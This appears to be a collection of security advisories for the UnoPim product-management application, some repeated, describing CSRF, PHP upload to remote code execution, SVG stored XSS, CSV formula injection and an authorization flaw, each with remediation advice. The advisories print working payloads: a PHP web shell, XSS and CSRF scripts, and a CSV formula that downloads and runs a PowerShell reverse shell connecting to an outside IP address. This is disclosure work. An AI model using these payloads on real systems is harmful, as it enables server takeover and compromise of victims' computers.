      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details

1. Login as admin
2. Go to Create User
3. Fill up everything in the registration form then upload SVG image as a profile picture
4. In SVG image, add script tag to prepare for XSS attack
5. Complete the Create User process
6. Right click at the image to obtain image URL address
7. XSS triggered

PoC

The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact

The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior

Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC

A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact

Unauthorized product deletion -> data loss, possible business disruption

Summary

Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). | Method | Endpoint | Status | Reason | |:------:|:------:|:------:|:------:| | POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used | | GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection | | POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |

The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:

/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}

Details

CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim. In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.

PoC

1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC  ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.

POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ

csrf-poc.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="&#95;token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
      <input type="hidden" name="&#95;method" value="PUT" />
      <input type="hidden" name="sku" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="channel" value="default" />
      <input type="hidden" name="locale" value="en&#95;US" />
      <input type="hidden" name="values&#91;common&#93;&#91;sku&#93;" value="SM&#45;BL&#45;102" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;sku&#93;" value="values&#91;common&#93;&#91;sku&#93;" />
      <input type="hidden" name="values&#91;common&#93;&#91;product&#95;number&#93;" value="" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;product&#95;number&#93;" value="values&#91;common&#93;&#91;product&#95;number&#93;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;name&#93;" value="test" />
      <input type="hidden" name="values&#91;common&#93;&#91;url&#95;key&#93;" value="fffkk" />
      <input type="hidden" name="uniqueFields&#91;values&#46;common&#46;url&#95;key&#93;" value="values&#91;common&#93;&#91;url&#95;key&#93;" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;tax&#95;category&#95;id&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;color&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;size&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;brand&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;short&#95;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;description&#93;" value="&lt;p&gt;fff&lt;&#47;p&gt;" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;title&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;keywords&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;meta&#95;description&#93;" value="" />
      <input type="hidden" name="values&#91;channel&#95;locale&#95;specific&#93;&#91;default&#93;&#91;en&#95;US&#93;&#91;price&#93;&#91;USD&#93;" value="7&#46;777" />
      <input type="hidden" name="values&#91;channel&#95;specific&#93;&#91;default&#93;&#91;cost&#93;&#91;USD&#93;" value="" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="false" />
      <input type="hidden" name="values&#91;common&#93;&#91;status&#93;" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Impact

Attacker can perform action on behalf of the victim as this happens on the victim's browser provide the victim is already authenticated to the application. Attacker can use an image tag to send the GET request such that when the page is loaded, it'll get executed. As shown in the video POC, the product information can be tampered, create new categories etc.

Remediation:

• Use CSRF token for every state changing request.
• Use samesite: lax or strict, now it is set 'None'. Make sure all state changing requests are done using POST instead of GET. Noticed that for product copy feature, GET is used which means Samesite:strict needs to be set in that case. Otherwise Samesite: lax should suffice.

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing is considered as svg and is sanitized:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

Sanitization bypass using MIME type manipulation:

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6

Summary

A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details

1. Login as admin
2. Go to Create User
3. Fill up everything in the registration form then upload SVG image as a profile picture
4. In SVG image, add script tag to prepare for XSS attack
5. Complete the Create User process
6. Right click at the image to obtain image URL address
7. XSS triggered

PoC

The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact

The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

UnoPim 0.1.3 and below is vulnerable to Cross Site Scripting (XSS) in the Create User function.

The vulnerability allows attackers to perform XSS in SVG file extension, which can be used to stealing cookies.

Summary

Description: CSV Injection or Formula Injection is a security vulnerability that occurs when malicious content is inserted into a CSV (Comma-Separated Values) file, which is then opened in a spreadsheet application like Microsoft Excel. This attack exploits the way spreadsheet software automatically interprets certain text patterns as formulas or commands, rather than plain text.

Details

A basic test for CSV Injection is using SUM() to add two numbers or open calc.exe​ using​ command: =cmd|' /C calc'!A0​

The same method can be used to run arbitrary code on the victim's machine. For example the below code will download and execute a malicious script to create a reverse TCP connection to the attacker's machine. Payload:

This is our payload and will be used in the vulnerable field during exploitation

    =cmd|' /C powershell Invoke-WebRequest
    "http://52.172.182.242:7000/shell.ps1" -OutFile "$env:Temp\shell.ps1";
    powershell -ExecutionPolicy Bypass -File "$env:Temp\shell.ps1"'!A1​

shell.ps1:

    $client = New-Object System.Net.Sockets.TCPClient('52.172.182.242',8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()​

PoC:

1. Go to any product and click on Edit
2. Add the above discussed payload in any field that accept text for e.g. Product Number field.
3. Quick Export -> Select CSV, Open the csv, the formula will get executed during opening.

This could be injected by admin or any user that has privilege to edit products. Also the CSRF Injection reported at product edit feature can be used as an attack vector to add such payloads.

Please note that if this is replicated on version starting from Office 2021: Follow these steps: Go to File > Options > Trust Center > Trust Center Settings > External Content​ -> Enable Dynamic Data Exchange Server Launch". This is due to Office 2021 and Microsoft 365 have DDE disabled by default for enhanced security.

Platform Details: Replicated this on Office 2021 on Windows 11. POC video link: https://drive.proton.me/urls/3TP1QEMXNC#2PAy7OkVqdP3

Impact

When the victim opens the CSV, the injected formula which fetches a reverse shell script written in Powershell from attacker's server and executes it. This creates a reverse shell connection from victim's device to attacker's allowing an attacker to perform any action on the victim's device.

Recommendation:

• Avoid starting values with Equals sign (=), Plus sign (+), Minus sign (-), At symbol (@), Tab (0x09), Carriage return (0x0D).
• Sanitize the vulnerable field using regex or standard libraries.
• Wrap the value around double quotes for fields that cannot be sanitized for some reason so that the value is considered as string instead of formula.

Summary

